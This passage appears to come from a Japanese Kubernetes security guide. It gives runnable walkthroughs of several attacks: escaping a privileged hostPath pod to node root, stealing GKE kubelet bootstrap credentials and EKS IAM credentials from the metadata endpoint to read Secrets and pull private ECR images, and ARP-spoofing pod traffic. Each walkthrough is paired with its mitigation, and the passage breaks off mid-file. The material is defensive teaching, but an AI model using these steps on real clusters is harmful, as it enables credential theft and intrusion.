# Rerefences

- https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
- https://etcd.io/
- https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/#securing-etcd-clusters


================================================
FILE: source/kubernetes/security/hostpath-mount.md
================================================
# ホストパスのマウント

Pod からホストのパスをボリュームとしてマウントすることが可能です。例えば次のような Pod を作成すると `/host` 配下に Pod が配置された node のルートディレクトリをマウントできます。

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: noderootpod
  labels:
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: noderootpod
    image: busybox
    securityContext:
      privileged: true
    volumeMounts:
    - mountPath: /host
      name: noderoot
    command: [ "tail", "-f", "/dev/null" ]
  volumes:
  - name: noderoot
    hostPath:
      path: /
```

```shell
$ kubectl exec -it noderootpod sh
kubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.
/ # cd /host
/host # chroot .
root@lab-k8s-node-01:/#
root@lab-k8s-node-01:/# id
uid=0(root) gid=0(root) groups=0(root),10(uucp)
```

Pod の作成権限があるアカウント権限を攻撃者に奪われた場合に、権限昇格を行う方法としてこの手法が利用されることが考えられます。そのため、権限昇格を防ぐという目的で PodSecurityPolicy 等でマウント可能なディレクトリを明示的に定義すると良いでしょう。


================================================
FILE: source/kubernetes/security/metadata-service.md
================================================
# Metadata Service へのアクセス

GCP や AWS などのクラウドプロバイダーには Metadata Service と呼ばれるインスタンスに対して任意のデータを提供するエンドポイントがあり、インスタンスから http://169.254.169.254/ にアクセスすることで取得できます。  
GKE や EKS などのマネージド Kubernetes も例外ではなく、適切なアクセス制御を施さなければ Pod から Metadata Service にアクセスすることができ、権限昇格へとつながる可能性があります。  
ここでは GKE / EKS でこれらのエンドポイントにアクセスできた場合の攻撃例と対策を紹介します。

## GKE

GKE の Metadata Service に含まれる `kube-env` という Metadata にはノードをクラスタにジョインさせるために必要な bootstrap 処理に使用されるクレデンシャル(CA 証明書と公開,秘密鍵)が格納されています。  
これを利用して CertificateSigningRequest を作成することで kubelet のクライアント証明書を取得できます。さらに、その取得した証明書を使って kubelet として API サーバーにリクエストを送信することができてしまうのです。

これは GKE のコントロールプレーンとノードの認証方法に関するドキュメントに記載されています。[^1]

> Each node in the cluster is injected with a shared Secret at creation, which it can use to submit certificate signing requests to the cluster root CA and obtain kubelet client certificates. These certificates are then used by the kubelet to authenticate its requests to the API server. Note that this shared Secret is reachable by Pods, unless metadata concealment is enabled.

それでは実際に試していきます。GKE でクラスタを作成し、Pod に入ったあと、まずは Metadata へのアクセスを確認します。

```shell
root@test:/# KUBE_ENV_URL="http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env"
root@test:/# curl -s -H "Metadata-flavor: Google" "${KUBE_ENV_URL}"
ALLOCATE_NODE_CIDRS: "true"
API_SERVER_TEST_LOG_LEVEL: --v=3
AUTOSCALER_ENV_VARS: kube_reserved=cpu=60m,memory=960Mi,ephemeral-storage=5Gi;node_labels=beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool,cloud.google.com/gke-os-distribution=cos
CA_CERT: LS0tLS1CRUdJ...S0tLS0tCg==
CLUSTER_IP_RANGE: 10.0.0.0/14
CLUSTER_NAME: sandbox-cluster
CNI_SHA1: dcbeba8d6be7a49e399bda6b8b638d312eace876
CNI_STORAGE_PATH: https://storage.googleapis.com/gke-release/cni-plugins/v0.8.5-gke.1
CNI_STORAGE_URL_BASE: https://storage.googleapis.com/gke-release/cni-plugins
CNI_TAR_PREFIX: cni-plugins-linux-amd64-
CNI_VERSION: v0.8.5-gke.1
CREATE_BOOTSTRAP_KUBECONFIG: "true"
DNS_DOMAIN: cluster.local
DNS_SERVER_IP: 10.3.240.10
DOCKER_REGISTRY_MIRROR_URL: https://mirror.gcr.io
ELASTICSEARCH_LOGGING_REPLICAS: "1"
ENABLE_CLUSTER_DNS: "true"
ENABLE_CLUSTER_LOGGING: "false"
ENABLE_CLUSTER_MONITORING: none
ENABLE_CLUSTER_REGISTRY: "false"
ENABLE_CLUSTER_UI: "true"
ENABLE_L7_LOADBALANCING: glbc
ENABLE_METADATA_AGENT: ""
ENABLE_METRICS_SERVER: "true"
ENABLE_NODE_LOGGING: "false"
ENABLE_NODE_PROBLEM_DETECTOR: standalone
ENABLE_NODELOCAL_DNS: "false"
ENABLE_SYSCTL_TUNING: "true"
ENV_TIMESTAMP: "2020-09-10T02:20:16+00:00"
EXTRA_DOCKER_OPTS: --insecure-registry 10.0.0.0/8
FEATURE_GATES: DynamicKubeletConfig=false,TaintBasedEvictions=false,RotateKubeletServerCertificate=true,ExperimentalCriticalPodAnnotation=true
FLUENTD_CONTAINER_RUNTIME_SERVICE: containerd
HEAPSTER_USE_NEW_STACKDRIVER_RESOURCES: "true"
HEAPSTER_USE_OLD_STACKDRIVER_RESOURCES: "false"
HPA_USE_REST_CLIENTS: "true"
INSTANCE_PREFIX: gke-sandbox-cluster-e2749290
KUBE_ADDON_REGISTRY: k8s.gcr.io
KUBE_CLUSTER_DNS: 10.3.240.10
KUBE_DOCKER_REGISTRY: gke.gcr.io
KUBE_MANIFESTS_TAR_HASH: d669659b3716794bafc85a1808d5def16e536166
KUBE_MANIFESTS_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz
KUBE_PROXY_TOKEN: SrS1RF7V6Te5rd95FYvBhTEN04hWTKp2X4nMoxBrFgY=
KUBELET_ARGS: --v=2 --cloud-provider=gce --experimental-check-node-capabilities-before-mount=true
  --experimental-mounter-path=/home/kubernetes/containerized_mounter/mounter --cert-dir=/var/lib/kubelet/pki/
  --cni-bin-dir=/home/kubernetes/bin --kubeconfig=/var/lib/kubelet/kubeconfig --image-pull-progress-deadline=5m
  --experimental-kernel-memcg-notification=true --max-pods=110 --non-masquerade-cidr=0.0.0.0/0
  --network-plugin=kubenet --node-labels=beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool,cloud.google.com/gke-os-distribution=cos
  --volume-plugin-dir=/home/kubernetes/flexvolume --bootstrap-kubeconfig=/var/lib/kubelet/bootstrap-kubeconfig
  --node-status-max-images=25 --registry-qps=10 --registry-burst=20
KUBELET_CERT: LS0tLS1CR...tLS0tCg==
KUBELET_KEY: LS0tLS1CRUdJT...tFWS0tLS0tCg==
KUBERNETES_MASTER: "false"
KUBERNETES_MASTER_NAME: 35.200.103.159
LOGGING_DESTINATION: ""
LOGGING_STACKDRIVER_RESOURCE_TYPES: ""
MONITORING_FLAG_SET: "true"
NETWORK_PROVIDER: kubenet
NODE_LOCAL_SSDS_EXT: ""
NODE_PROBLEM_DETECTOR_TOKEN: etn...zY=
NON_MASQUERADE_CIDR: 0.0.0.0/0
REMOUNT_VOLUME_PLUGIN_DIR: "true"
REQUIRE_METADATA_KUBELET_CONFIG_FILE: "true"
SALT_TAR_HASH: ""
SALT_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz
SERVER_BINARY_TAR_HASH: a016a715584cc797c4d9c2c3c8ae34d0fb3837db
SERVER_BINARY_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz
SERVICE_CLUSTER_IP_RANGE: 10.3.240.0/20
STACKDRIVER_ENDPOINT: https://logging.googleapis.com
SYSCTL_OVERRIDES: ""
VOLUME_PLUGIN_DIR: /home/kubernetes/flexvolume
ZONE: asia-northeast1-b
```

様々なデータが含まれていることが確認できます。ここに含まれている `CA_CERT` , `KUBELET_CERT` , `KUBELET_KEY` がそれぞれ証明書の生成に必要なファイルです。  
これらは base64 エンコードされているため、デコードして保存します。

```shell
root@test:/# curl -s -H "Metadata-flavor: Google" "${KUBE_ENV_URL}" | grep -v "EVICTION" | grep -v "KUBELET_TEST_ARGS" | grep -v "EXTRA_DOCKER_OPTS" | sed -e 's/: /=/g' > env
root@test:/# source ./env

root@test:/# echo $CA_CERT | base64 -d > bootstrap/ca.crt
root@test:/# echo $KUBELET_CERT | base64 -d > bootstrap/kubelet-bootstrap.crt
root@test:/# echo $KUBELET_KEY | base64 -d > bootstrap/kubelet-bootstrap.key
```

Pod が配置されている Node のホスト名も取得します。

```shell
root@test:/# KUBE_HOSTNAME_URL="http://169.254.169.254/computeMetadata/v1/instance/hostname"
root@test:/# CURRENT_HOSTNAME="$(curl -s -H 'Metadata-flavor: Google' ${KUBE_HOSTNAME_URL} | awk -F. '{print $1}')"
root@test:/# echo $CURRENT_HOSTNAME
gke-sandbox-cluster-default-pool-f9270e72-mg63
```

これからの操作を簡単にするために `kubectl` も取得しておきましょう。

```shell
root@test:/# curl -s -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl
root@test:/# chmod +x kubectl
```

取得した証明書を使って Node のホスト名を含んだ CSR を作成します。

```shell
root@test:/tmp# cat openssl.cnf
[ req ]
prompt = no
encrypt_key = no
default_md = sha256
distinguished_name = dname
[ dname ]
O = system:nodes
CN = system:node:gke-sandbox-cluster-default-pool-f9270e72-mg63

root@test:/tmp# openssl ecparam -genkey -name prime256v1 -out kubelet.key
root@test:/tmp# openssl req -new -config /tmp/openssl.cnf -key kubelet.key -out kubelet.csr
```

CertificateSigningRequest リソースを作ります。 `request` には生成した CSR を base64 エンコードした値を指定します。

```shell
root@test:/tmp# cat kubelet.csr | base64 | tr -d '\n'
LS0tLS1CRUdJ...LS0tLS0K

root@test:/# cat /tmp/kubelet.yaml
apiVersion: certificates.k8s.io/v1beta1
kind: CertificateSigningRequest
metadata:
  name: node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2
spec:
  groups:
  - system:authenticated
  request: LS0tLS1CRUdJ...LS0tLS0K
  usages:
  - digital signature
  - key encipherment
  - client auth
  username: kubelet
```

CertificateSigningRequest を作成すると kube-controoler-manager によって自動承認されます。[^2]

```shell
root@test:/# ./kubectl create -f /tmp/kubelet.yaml --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key
certificatesigningrequest.certificates.k8s.io/node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 created
```

証明書が承認されたので、クライアント証明書を取得します。

```shell
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key get csr
NAME                                                        AGE   REQUESTOR                                                    CONDITION
csr-tsfx7                                                   37m   system:node:gke-sandbox-cluster-default-pool-f9270e72-mg63   Approved,Issued
node-csr-P4UgPH1KuYujxgQkDUWU1cWtUcMlEBXl5kn0WqUxS3Y        37m   kubelet                                                      Approved,Issued
node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2   66s   kubelet                                                      Approved,Issued

root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key get csr node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 -o jsonpath='{.status.certificate}' | base64 -d > /tmp/kubelet.crt
```

これで Pod の一覧と、その Pod で使われている Secret を閲覧できるようになります。Secret の一覧はできませんが、Get はできるので Pod で利用中の Secret は取得することが可能です。

```shell
root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get pods
NAME   READY   STATUS    RESTARTS   AGE
test   1/1     Running   0          40m

root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get pods --all-namespaces -o=jsonpath='{range .items[*]}{.metadata.namespace}{"|"}{.metadata.name}{"|"}{.spec.volumes[*].secret.secretName}{"\n"}{end}'
default|test|default-token-xjxn2
kube-system|event-exporter-v0.3.0-5cd6ccb7f7-d6vnv|event-exporter-sa-token-t4jdk
kube-system|fluentd-gcp-scaler-6855f55bcc-kck48|fluentd-gcp-scaler-token-s767f
kube-system|fluentd-gcp-v3.1.1-zg5bc|fluentd-gcp-token-qlljh
kube-system|heapster-gke-858f6d47db-jmdm8|heapster-token-l47xx
kube-system|kube-dns-5c446b66bd-xbmn2|kube-dns-token-fx6l4
kube-system|kube-dns-autoscaler-6b7f784798-9q2mq|kube-dns-autoscaler-token-r5xl4
kube-system|kube-proxy-gke-sandbox-cluster-default-pool-f9270e72-mg63|
kube-system|l7-default-backend-84c9fcfbb-97tsn|default-token-psndk
kube-system|metrics-server-v0.3.3-fdc67d4b6-wglqz|metrics-server-token-d74js
kube-system|prometheus-to-sd-q7s2f|prometheus-to-sd-token-876dc
kube-system|stackdriver-metadata-agent-cluster-level-7df5d5fb48-v9l8w|metadata-agent-token-vnpdq

root@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get secret -n kube-system prometheus-to-sd-token-876dc -o yaml
apiVersion: v1
data:
  ca.crt: LS0t...==
  namespace: a3ViZS1zeXN0ZW0=
  token: ZXlKXa...==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: prometheus-to-sd
    kubernetes.io/service-account.uid: c3ed5b36-685f-4f6e-93b9-4459a1a251d1
  creationTimestamp: "2020-09-10T02:23:40Z"
  name: prometheus-to-sd-token-876dc
  namespace: kube-system
  resourceVersion: "365"
  selfLink: /api/v1/namespaces/kube-system/secrets/prometheus-to-sd-token-876dc
  uid: 8651c53d-60d3-419c-877c-fef4e399e242
type: kubernetes.io/service-account-token
```

このように、もし Pod が侵害され、Metadata Service へのアクセスが可能だった場合は、Secret へのアクセスもできてしまうため、さらなる権限昇格が可能になります。  
GKE ではこのような攻撃を防ぐために Workload Identity[^3] や Shielded GKE Nodes[^4] という仕組みがありますので、これらを利用することを推奨します。

## EKS

続いて EKS での Metadata Service を見ていきます。AWS での Metadata Service は Amazon EC2 Instance metadata service (IMDS) という名前があるため、ここでも IMDS と表記します。  
まずは `eksctl` でクラスタを作成します。

```shell
$ eksctl create cluster --nodes 1 --name test-cluster --node-type t3.large
...
$ kubectl get nodes
NAME                                                STATUS   ROLES    AGE     VERSION
ip-192-168-74-107.ap-northeast-1.compute.internal   Ready    <none>   2m51s   v1.17.12-eks-7684af
```

クラスタができたら Pod を作成し、IMDS にアクセスしてみます。

```shell
$ kubectl run --image=nicolaka/netshoot:latest --rm -it test bash
If you don't see a command prompt, try pressing enter.
bash-5.0# curl http://169.254.169.254/latest/meta-data/
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/
events/
hostname
iam/
identity-credentials/
instance-action
instance-id
instance-life-cycle
instance-type
local-hostname
local-ipv4
mac
metrics/
network/
placement/
profile
public-hostname
public-ipv4
reservation-id
security-groups
```

GCP とはまた違ったデータが含まれていることが確認できます。このように、クラウドプロバイダーごとに格納されている値は異なるため、利用しているクラウドプロバイダーでどのような値を持っているかを確認し、もしアクセスされた場合にどのような影響が生じるのかを把握することをオススメします。

さて、これらのデータの中で攻撃に利用できるものの一つに Node のインスタンスに紐付いている IAM ロール IAM があります。今回作成したクラスタには `eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5` という名前の IAM ロールが付与されていることが確認できます。また、クレデンシャルも取得することもできます。

```shell
bash-5.0# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5

bash-5.0# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5/
{
  "Code" : "Success",
  "LastUpdated" : "2020-11-23T13:32:29Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA...6GVD",
  "SecretAccessKey" : "MgZ0...Rv1A",
  "Token" : "IQoJb3JpZ...QKjFmg==",
  "Expiration" : "2020-11-23T20:06:44Z"
}
```

この IAM ロールには以下のポリシーが適用されています。

- AmazonEKSWorkerNodePolicy
- AmazonEC2ContainerRegistryReadOnly
- AmazonEKS_CNI_Policy

このポリシーには `ec2:DescribeInstances` や `ec2:DescribeVpcs` などもあり、インスタンスやネットワーク情報の取得などが可能なことがわかります。  
さらに興味深いのは `AmazonEC2ContainerRegistryReadOnly` です。これは ECR から任意の Docker イメージを取得することができます。任意の Docker イメージを取得できるということはアプリケーションのソースコードなどを取得できるということになります。

では試してみましょう。Pod に `aws` コマンドをインストールし、 `aws ecr` コマンドを通してリポジトリの情報を取得できます。

```shell
root@test:~# export AWS_ACCESS_KEY_ID=ASIA...6GVD
root@test:~# export AWS_SECRET_ACCESS_KEY=MgZ0...Rv1A
root@test:~# export AWS_SESSION_TOKEN=IQoJb3JpZ...QKjFmg==

root@test:~# aws ecr describe-repositories
{
    "repositories": [
        {
            "repositoryArn": "arn:aws:ecr:ap-northeast-1:926292163423:repository/mrtc0/test",
            "registryId": "926292163423",
            "repositoryName": "mrtc0/test",
            "repositoryUri": "926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/mrtc0/test",
            "createdAt": "2020-11-23T22:51:31+09:00",
            "imageTagMutability": "MUTABLE",
            "imageScanningConfiguration": {
                "scanOnPush": false
            },
            "encryptionConfiguration": {
                "encryptionType": "AES256"
            }
        }
    ]
}

root@test:~# aws ecr list-images --repository-name mrtc0/test
{
    "imageIds": [
        {
            "imageDigest": "sha256:f9fc7e015619f2460609f17fe5903d698db775a340e4554c8a5b1c65d63b53b1",
            "imageTag": "latest"
        }
    ]
}
```

また、レジストリへのログインパスワードも取得できます。

```shell
root@test:~# aws ecr get-login-password --region ap-northeast-1
eyJwYXlsb2FkIjoiZlB4Qy9KdXFqajE5ZlRkektKZ1liaWlJW...

root@test:~# aws ecr get-login-password --region ap-northeast-1 | docker login --username AWS --password-stdin 926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/mrtc0/test
WARNING! Your password will be stored unencrypted in /root/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded
```

ログインができるのでイメージを取得してみます。`docker` コマンドを用意しなくても `curl` でイメージレイヤを取得することができます。

```shell
root@test:~# export TOKEN=$(aws ecr get-login-password --region ap-northeast-1)
root@test:~# curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/manifests/latest
{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
   "config": {
      "mediaType": "application/vnd.docker.container.image.v1+json",
      "size": 1728,
      "digest": "sha256:0a8054f3ec507e056e6bc0a015d3a85678e4966cd9e1f18953311676ddf681fd"
   },
   "layers": [
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 2797541,
         "digest": "sha256:df20fa9351a15782c64e6dddb2d4a6f50bf6d3688060a34c4014b0d9a752eb4c"
      },
      {
         "mediaType": "application/vnd.docker.image.rootfs.diff.tar.gzip",
         "size": 117,
         "digest": "sha256:a34b0c316d63ed56e3cc1a312826765097c78c747445fad0e14d82686cb5563a"
      }
   ]
}

root@test:~# curl -L -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/blE_ID/  | jq
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   127  100   127    0     0   2116      0 --:--:-- --:--:-- --:--:--  2116
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  1728  100  1728    0     0  12083      0 --:--:-- --:--:-- --:--:-- 12083
{
  "architecture": "amd64",
  "config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh"
    ],
    "ArgsEscaped": true,
    "Image": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": null
  },
  "container_config": {
    "Hostname": "",
    "Domainname": "",
    "User": "",
    "AttachStdin": false,
    "AttachStdout": false,
    "AttachStderr": false,
    "Tty": false,
    "OpenStdin": false,
    "StdinOnce": false,
    "Env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
    ],
    "Cmd": [
      "/bin/sh",
      "-c",
      "#(nop) ADD file:d579202c9c7308a756eac66a2b3be41424e5e92a6376dd3fcf059d57770aa10c in /secret.txt "
    ],
    "ArgsEscaped": true,
    "Image": "sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e",
    "Volumes": null,
    "WorkingDir": "",
    "Entrypoint": null,
    "OnBuild": null,
    "Labels": null
  },
  "created": "2020-11-23T13:50:04.0959713Z",
  "docker_version": "19.03.13",
  "history": [
    {
      "created": "2020-05-29T21:19:46.192045972Z",
      "created_by": "/bin/sh -c #(nop) ADD file:c92c248239f8c7b9b3c067650954815f391b7bcb09023f984972c082ace2a8d0 in / "
    },
    {
      "created": "2020-05-29T21:19:46.363518345Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/sh\"]",
      "empty_layer": true
    },
    {
      "created": "2020-11-23T13:50:04.0959713Z",
      "created_by": "/bin/sh -c #(nop) ADD file:d579202c9c7308a756eac66a2b3be41424e5e92a6376dd3fcf059d57770aa10c in /secret.txt "
    }
  ],
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [
      "sha256:50644c29ef5a27c9a40c393a73ece2479de78325cae7d762ef3cdc19bf42dd0a",
      "sha256:0e93ab7e92aa71e6ad2e6227fc001d8311e4c7827ef882bfe0fadffcfdf8b3e0"
    ]
  }
}

root@test:~# curl -L -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/blobs/sha256:a34b0c316d63ed56e3cc1a312826765097c78c747445fad0e14d82686cb5563a -o layer.tar.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100   117  100   117    0     0    873      0 --:--:-- --:--:-- --:--:--   873
root@test:~# tar xvzf layer.tar.gz
secret.txt
root@test:~# cat secret.txt
this is secret
```

EKS でもこのような攻撃を防ぐために hostNetwork を利用しないコンテナが IMDS に接続しないように設定できます。[^5]  
カスタム Launch template を使っているか、Self-managed かどうかなどで設定方法が変わってきますが、今回の場合だと `eksctl create nodegroup` でノードグループを作成する際に、 `--disable-pod-imds` フラグを付与することでアクセスを禁止することができます。  
禁止すると次のように 401 が返ってくるようになります。

```shell
bash-5.0# curl -i http://169.254.169.254/
HTTP/1.1 401 Unauthorized
Content-Length: 0
Date: Mon, 23 Nov 2020 14:50:10 GMT
Server: EC2ws
Connection: close
Content-Type: text/plain
```

---

[^1]: https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-trust
[^2]: https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers
[^3]: https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
[^4]: https://cloud.google.com/kubernetes-engine/docs/how-to/shielded-gke-nodes
[^5]: https://docs.aws.amazon.com/eks/latest/userguide/best-practices-security.html


================================================
FILE: source/kubernetes/security/privileged-pod.md
================================================
# Pod の権限と Node へのエスケープ

[ホストへのエスケープ](https://container-security.dev/security/breakout-to-host.html)でも紹介したように、特権コンテナはホスト側にエスケープすることが可能です。  
Kubernetes の場合は Pod がスケジュールされた Node にエスケープすることができます。

## SecurityContext

Docker ではコマンドラインオプションでコンテナの権限を設定できました。  
Kubernetes の Pod では SecurityContext を利用して Pod やコンテナに対して次のような設定が可能です。

- DAC ... 実行ユーザーや volume のグループを変更する
- SELinux ... SELinux の設定
- AppArmor ... AppArmor の設定
- 特権コンテナ ... 特権コンテナか非特権コンテナかの設定
- Linux Capabilities ... Capabilities の設定
- seccomp ... seccomp の設定
- AllowPrivilegeEscalation ... プロセスが追加の特権を取得できないようにする
- readOnlyRootFilesystem ... コンテナのルートファイルシステムを Read Only にする

それぞれの挙動の詳細についてはドキュメントを参照ください。

## Capabilities

コンテナへの過剰な Capability 不要は Breakout につながるものであると紹介しました。  
それでは Pod のデフォルトの Capabilities を確認してみましょう。

```shell
root@test:/# pscap -a
ppid  pid   name        command           capabilities
0     1     root        bash              chown, dac_override, fowner, fsetid, kill, setgid, setuid, setpcap, net_bind_service, net_raw, sys_chroot, mknod, audit_write, setfcap
```

`pscap` コマンドで確認すると、いくつかの Capability が付与されていることが確認できます。  
この中でも興味深いのは `CAP_NET_RAW` です。これは Raw Socket を使うことができるため、 ARP Spoofing や DNS Spoofing を行うことができます。

## ARP Spoofing で Pod 間の通信を盗聴する

Raw Socket を扱えるため ARP Spoofing によって Pod 間の通信を盗聴することができます。  
では実際に試してみましょう。まず、サーバーとなる nginx Pod と、そこにアクセスする client Pod を作成します。

```shell
$ kubectl run --image=nginx:latest server
$ kubectl get pods -o wide
NAME       READY   STATUS    RESTARTS   AGE   IP            NODE       NOMINATED NODE   READINESS GATES
server     1/1     Running   0          15m   172.17.0.15   minikube   <none>           <none>

$ kubectl run --image=nicolaka/netshoot:latest --rm -it client -- bash -c 'while true; do curl http://172.17.0.15 ; sleep 5; done'

$ kubectl get pods -o wide
NAME       READY   STATUS    RESTARTS   AGE   IP            NODE       NOMINATED NODE   READINESS GATES
server     1/1     Running   0          3m   172.17.0.15   minikube   <none>           <none>
client     1/1     Running   0          2m30s   172.17.0.16   minikube   <none>           <none>
```

そして攻撃者用の Pod を作成し、 `arpspoof` コマンドで ARP Spoofing を実行します。  
同時に、 `tcpdump` で通信内容を確認します。

```shell
$ kubectl run --image=ubuntu:latest --rm -it attacker bash
root@attacker:/# apt update ; apt install -y dsniff tcpdump
root@attacker:/# arpspoof -t 172.17.0.16 172.17.0.15
```

```shell
$ kubectl exec -it attacker -- tcpdump -i any tcp -vv
    172.17.0.16.55080 > 172.17.0.15.80: Flags [P.], cksum 0x58b3 (incorrect -> 0x96e4), seq 0:75, ack 1, win 502, options [nop,nop,TS val 910579351 ecr 3251193240], length 75: HTTP, length: 75
        GET / HTTP/1.1
        Host: 172.17.0.15
        User-Agent: curl/7.71.1
        Accept: */*
```

このように通信内容を取得することができました。

## DNS Spoofing

TBD


================================================
FILE: source/kubernetes/security/service-account.md
================================================
# ServiceAccount には最小権限を与える

ServiceAccount のトークンと証明書は Pod 内の `/var/run/secrets/kubernetes.io/serviceaccounts/` 配下にマウントされます。  
そのため、Pod が侵害された場合には、攻撃者はマウントされた ServiceAccount の権限でリソースの操作が可能になります。ですので、ServiceAccount への権限付与は最小権限の原則に則り、必要な権限のみを付与することを推奨します。

Pod にマウントする ServiceAccount を明示していない場合は、 `default` ServiceAccount のトークンがマウントされますが、権限が付与されていないため、ほぼ何もできません。

```shell
bash-5.0# cd /var/run/secrets/kubernetes.io/serviceaccount/ bash-5.0# ls
ca.crt     namespace  token

bash-5.0# KUBE_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
bash-5.0# curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" \
  https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/default/pods/$HOSTNAME
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "pods \"test\" is forbidden: User \"system:serviceaccount:lab:default\" cannot get resource \"pods\" in API group \"\" in the namespace \"default\"",
  "reason": "Forbidden",
  "details": {
    "name": "test",
    "kind": "pods"
  },
  "code": 403
}
```

自身が利用可能なアクションを知る API を利用して Pod を `get` できないことが確認できます。

```shell
curl -sSk -H "Authorization: Bearer $KUBE_TOKEN" \
     -d @- \
     -H "Content-Type: application/json" \
     -H 'Accept: application/json, */*' \
     -XPOST https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/authorization.k8s.io/v1/selfsubjectaccessreviews <<'EOF'
{
   "kind":"SelfSubjectAccessReview",
   "apiVersion":"authorization.k8s.io/v1",
   "metadata":{
